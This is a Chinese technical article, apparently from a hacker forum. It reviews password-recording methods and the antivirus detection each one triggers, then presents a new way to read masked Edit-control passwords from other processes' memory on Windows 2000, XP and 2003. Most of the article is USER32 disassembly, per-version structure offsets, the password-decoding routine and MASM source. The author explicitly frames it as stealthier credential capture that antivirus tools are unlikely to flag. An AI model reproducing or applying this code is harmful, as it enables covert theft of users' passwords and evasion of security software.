目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
*目前的各类密码记录技术*
目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
一:调用CreateRemoteThread函数远程DLL或代码注入.
二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)
三:伪造登陆界面.
四:登录信息在网络传输过程中被嗅探.
五:分析目标程序流层,文件补丁技术(注一).
六:分析目标程序流层,搜索并读取存放在内存中(比如:全局变量)的密码.
由于后四个技术都要对目标程序进行专门的分析所以更多的用在专用游戏盗号程序中.这样目前通用的获取目标主机各类程序登录密码的技术还是紧紧局限于前两个.
*两大主流密码记录技术的局限性*
对于键盘记录技术由于用户可能会不按顺序输入密码所以正确率有限,要是安装键盘驱动还要Admin权限同时更难以区分用户是输密码还是其它输入(在驱动下可没有GetActiveWindow函数呵呵).
对于第一种技术前面所说的问题都不存在,并且用各种语言编写的源代码广为流传,所以水平高一点点的黑客都会使用,但也正因为这个远线程注入技术实在太流行,所以很多杀毒软件一但发现有程序调用了CreateRemoteThread这个API就会提示并拦截(比如江民公司的"木马一扫光").同样安装键盘钩子比如调用SetWindowsHookEx有些杀毒软件也会提示.
难道就没有通用性相对较好,记录正确率高,不容易被杀毒软件查杀的技术了吗?请看下文.
*目前的思路*
对于WINDOWS程序中的密码窗口通常是具有ES_PASSWORD风格的EDIT控件(通常输入内容显示为*号),在WINDOWS 98下要记录密码,只用给这种窗体发送一个WM_GETTEXT消息就可以了没有任何限制,在WIN2000以后的操作系统中,微软也意识到这样太不安全,所以限制为进程只可以给自已的具有ES_PASSWORD风格的EDIT控件窗口发送WM_GETTEXT消息并正确得到窗口内容(注二).这样也就很好理解为什么目前的两大主流技术要么是建一个远程线程,要么HOOK键盘了.现在的程序和WIN98时代很明显的区别就是都要多一个DLL.
(直接代码注入的可以不要DLL但还是会调用可能引起杀毒软件提示的API函数)
*新的思路*
在EDIT控件输入字符以后,这些字符当然是被记录在EDIT控件所在的进程可以仿问的内存中的.可不可以直接从内存中读取内容呢?
也就是写了一个自已的不受微软限制的GetWindowText函数,或是叫GetWindowPass函数.读内存可以调用OpenProcess和ReadProcessMemory
或是集成这两个函数的Toolhelp32ReadProcessMemory.怎么读的问题解决了,现在就是读哪个位置的问题.另外OpenProcess
不代写内存的参数一般杀毒软件不会提示(注三).
*读哪儿?*
解决这个问题首先我们还是看看微软是怎么读的吧.大家都知道要取得EDIT控件的内容可以发WM_GETTEXT消息或是调用USER32.DLL中
的GetWindowTextA函数.打开WIN32DASM和SOFTICE.一路跟踪后总算基本明白了其中的原理,重要代码反汇编如下:共有三部分
(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)
第一部分:
GetWindowText函数执行后很快就会调用如下代码:重要的地方会有注解:)
:77D184D0 8BFF mov edi, edi
:77D184D2 55 push ebp
:77D184D3 8BEC mov ebp, esp
:77D184D5 51 push ecx
:77D184D6 53 push ebx
:77D184D7 56 push esi
:77D184D8 57 push edi
:77D184D9 8855FC mov byte ptr [ebp-04], dl
:77D184DC 8BF9 mov edi, ecx ;edi中为密码窗口句柄
:77D184DE 33F6 xor esi, esi
:77D184E0 64A118000000 mov eax, dword ptr fs:[00000018] ;得到当前线程的TEB
:77D184E6 8B0D6000D777 mov ecx, dword ptr [77D70060]
:77D184EC 8D98CC060000 lea ebx, dword ptr [eax+000006CC] ;当前线程TEB的基地址+6CCH放入EBX中
:77D184F2 8BC7 mov eax, edi
:77D184F4 25FFFF0000 and eax, 0000FFFF ;eax中为密码窗口句柄的低16位
:77D184F9 3B4108 cmp eax, dword ptr [ecx+08]
:77D184FC 734D jnb 77D1854B
:77D184FE 8B0D8400D777 mov ecx, dword ptr [77D70084] ;77D70084是USER32.DLL中的一个全局变量的地址,重要!
:77D18504 8D0440 lea eax, dword ptr [eax+2*eax]
:77D18507 8D0C81 lea ecx, dword ptr [ecx+4*eax] ;ecx为(密码窗口句柄低16位x12)+一个未知全局变量
--------------------------无关代码省略之-------------
:77D1852F 8B31 mov esi, dword ptr [ecx] ;ecx的值没变,取里面的值给esi
:77D18531 0F8471A40100 je 77D329A8
:77D18537 3B30 cmp esi, dword ptr [eax]
:77D18539 0F8269A40100 jb 77D329A8
:77D1853F 3B7004 cmp esi, dword ptr [eax+04]
:77D18542 0F8360A40100 jnb 77D329A8
:77D18548 2B731C sub esi, dword ptr [ebx+1C]
;刚才的值-RealClientID,EBX+1C接合上面的代码看就是当前线程TEB的基地址+6CCH+1CH,取得的值也就是当前线程的RealClientID
第二部分
经过一些跳转后会调用EditWndProc,其中的关键代码如下:
Exported fn(): EditWndProc - Ord:00C1h ;函数入口
:77D2C538 8BFF mov edi, edi
:77D2C53A 55 push ebp
:77D2C53B 8BEC mov ebp, esp
:77D2C53D 83EC1C sub esp, 0000001C
:77D2C540 8B550C mov edx, dword ptr [ebp+0C] ;如果EDX为0Dh说明是取得窗口的内容
:77D2C543 53 push ebx
:77D2C544 56 push esi
:77D2C545 57 push edi
:77D2C546 8B7D08 mov edi, dword ptr [ebp+08]
:77D2C549 8B07 mov eax, dword ptr [edi]
:77D2C54B 8BB7A4000000 mov esi, dword ptr [edi+000000A4] ;这儿的EDI和前面代码最后的ESI是同一个值,重要!
:77D2C551 33C9 xor ecx, ecx ;计算后ESI就是一个指向窗口内容结构的指针
:77D2C553 8945F4 mov dword ptr [ebp-0C], eax
:77D2C556 41 inc ecx
---------------------无关代码省略之---------------
:77D2C5B9 51 push ecx
:77D2C5BA FF7514 push [ebp+14]
:77D2C5BD FF7510 push [ebp+10]
:77D2C5C0 56 push esi
:77D2C5C1 E88E040000 call 77D2CA54 ;得到窗口内容
第三部分:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77D2C665(C)
|
:77D41496 837E0C00 cmp dword ptr [esi+0C], 00000000
:77D4149A 7427 je 77D414C3
:77D4149C 668B466A mov ax, word ptr [esi+6A]
:77D414A0 660FAF460C imul ax, word ptr [esi+0C] ;esi和上面的一样指向窗口结构,ESI+0C是取得密码长度
:77D414A5 668945FA mov word ptr [ebp-06], ax
:77D414A9 668945F8 mov word ptr [ebp-08], ax
:77D414AD 8D45F8 lea eax, dword ptr [ebp-08]
:77D414B0 50 push eax
:77D414B1 33C0 xor eax, eax
:77D414B3 8A86EC000000 mov al, byte ptr [esi+000000EC] ;ESI+EC解码密码的变量,总是一个字节
:77D414B9 897DFC mov dword ptr [ebp-04], edi
:77D414BC 50 push eax
* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
|
:77D414BD FF154410D177 Call dword ptr [77D11044] ;对该函数分析可知,esi+00存放编码后的密码的地址
*分析GetWindowTextA后的总结*
分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:
1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.
我们的进程可不可以获得这三个参数呢?
对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId
对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄
对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,
它里面的值简单的说就是一些指向窗体信息结构的指针.
*获得GUI TABLE在R3成层的映射基地址*
我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要
调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处
:77D21020 8DB5A0FAFFFF lea esi, dword ptr [ebp+FFFFFAA0]
:77D21026 BF8000D777 mov edi, 77D70080 ;注意不是77D70084
:77D2102B F3 repz
:77D2102C A5 movsd
会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!
分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:
:77D535F5 B88000D777 mov eax, 77D70080
:77D535FA 5D pop ebp
:77D535FB C20800 ret 0008
到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)
*把密码算出来*
第一步:
取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex
第二步:
得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase
第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
第四步:
TEB基地址+6cch+1ch,取里面的值,得到RealClientID
第五步:
PHwndStruct1-RealClientID得到PHwndStruct2
第六步:
PHwndStruct2+A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct
第七步:
PRealWinStruct+00h里面的值是编码后的密码的地址
PRealWinStruct+0ch里面值是密码长度我们叫PASSLEN
PRealWinStruct+ech里面值是解码要用到的一个变量我们叫ENCODE.
第八步:
解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:
MOV EDX,ENCODE
mov cl,dl
mov edi,PASSLEN
@@nextpass:
CMP EDI,1
JBE @@firstpass
mov eax,esi ;esi指向编码后的密码的第一个字节.
add eax,edi
mov dl,[eax-2]
xor dl,[eax-1]
xor dl,cl ;重要
mov [eax-1],dl
dec edi
jmp @@nextpass
@@firstpass:
or cl,43h
mov edx,offset buffer1
xor [edx],cl
注意通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是+98h
2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch
*具体编码*
为了证明思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.
下面把关键实现代码分析一下:
第一步:得到密码密窗口句柄:
invoke GetCursorPos,addr @stPoint ;得到当前光标位置
invoke WindowFromPoint,@stPoint.x,@stPoint.y ;得到光标下窗口的句柄
mov @hWindow,eax
.if eax != NULL
invoke GetWindowLong,@hWindow,GWL_STYLE ;得到窗口风格
.if (eax & ES_PASSWORD) ;是密码框吗?
invoke GetClassName,@hWindow,offset classname,64 ;如果是得到控件类名
invoke lstrcmpi,offset classname,offset editname
.if eax == 0 ;如果类名是Edit,那么调用ViewPass函数读密码
mov eax,@hWindow
mov WINHAND,eax
invoke ViewPass
.endif
.endif
.endif
第二步:判断系统:
LOCAL verinfo:OSVERSIONINFO
mov verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
invoke GetVersionEx,addr verinfo
.if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
mov eax,1 ;xp
mov passoffset,0A4H
mov lenoffset ,14H
程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试
同一种系统偏移没有变化,所以通用性应该很好.
第三步:得到密码窗口的线程和进程ID
invoke GetWindowThreadProcessId,eBx,addr parid
MOV WINTHREADID,EAX ;返回值为线程ID
第一个参数为窗口句柄,第二个参数为得到进程ID
第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址
invoke GetUser32Base,parid
返回值就是基地址:)
GetUser32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录
.while eax ;相应模块加载的基地址
lea ecx,modinfo.szModule
invoke lstrcmpi,offset user32dll,ecx ;比较模块名是否为user32.dll
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetUser32Base endp
第五步:
根据窗口所在的线程得到该线程的TEB地址
invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID
..if eax != NULL
mov THREADHAND,EAX
invoke LoadLibrary,offset Ntdll
invoke GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API
mov apiquerthread,eax
push 0
push sizeof THREAD_BASIC_INFORMATION
lea ecx,threadinfo
push ecx
push ThreadBasicInformation
push THREADHAND
call apiquerthread
.IF EAX == STATUS_SUCCESS
lea ecx,threadinfo
mov esi,[ecx+4] ;得到TEB了,通常为7FFDX000
.ELSE
invoke MessageBox,0,offset errgetteb,offset vp,1
ret
.ENDIF
.else
invoke MessageBox,0,offset erropenthread,offset vp,1
ret
.endif
第六步:得到TEB中的RealClientID,注意这儿是读目标程序的内存,不是自已的了..
add esi,6cch ;看第五步,ESI中为目标线程的TEB基地址,如果是程序自已获得自已的TEB
add esi,1ch ;只用MOV EAX,FS:[18]就行了,也就是文章中间反汇编看到的那样.
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取
.if eax == TRUE ;为真说明读成功
mov eax,offset buffer1
mov eax,[eax]
mov edi,eax
.if eax ==NULL
invoke MessageBox,0,offset errnorealcid,offset vp,1
ret
.endif
.endif
第七步:得到目标进程R3层的GUI TABLE基地址
这一步应该是这个程序最关键的部分,希望大家认真阅读.先介绍一下我的思路:
我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers
函数的返回值就是这个全局变量的地址.
首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造特别是
在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.
通过对不同系统的这个函数反汇编我们可以很容易的找到共同点:
2K系统:(5.0.2195.7032)
:77E3565D B880D2E477 mov eax, 77E4D280
:77E35662 C20800 ret 0008
XP系统:(5.1.2600.2180)
:77D535F5 B88000D777 mov eax, 77D70080
:77D535FA 5D pop ebp
:77D535FB C20800 ret 0008
2003系统:(5.2.3790.1830)
:77E514D9 B8C024E777 mov eax, 77E724C0
:77E514DE C9 leave
:77E514DF C2080000 ret 0008
分析共同点以后,我们就可以写出相应的算法.我的算法是:
1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)
2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)
4.在这1000个字节中,我使用了LDE32库的汇编指令长度判断函数(注四).给出指令的首地址可以准确的计算出指令的长度.
这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)
在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址
6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress)+USER32.DLL的加载基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,
如果这个值>0,同时小于.data段的VirtualSize那么说明成功.如果不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.
8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址)+VirtualAddress+VarOffset我们就得到了目标
进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.
(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统
不同版本的测试,目前的这个算法都还是通用)
第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注意的是密码可能是Unicode格式的.
*最后的总结*
所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.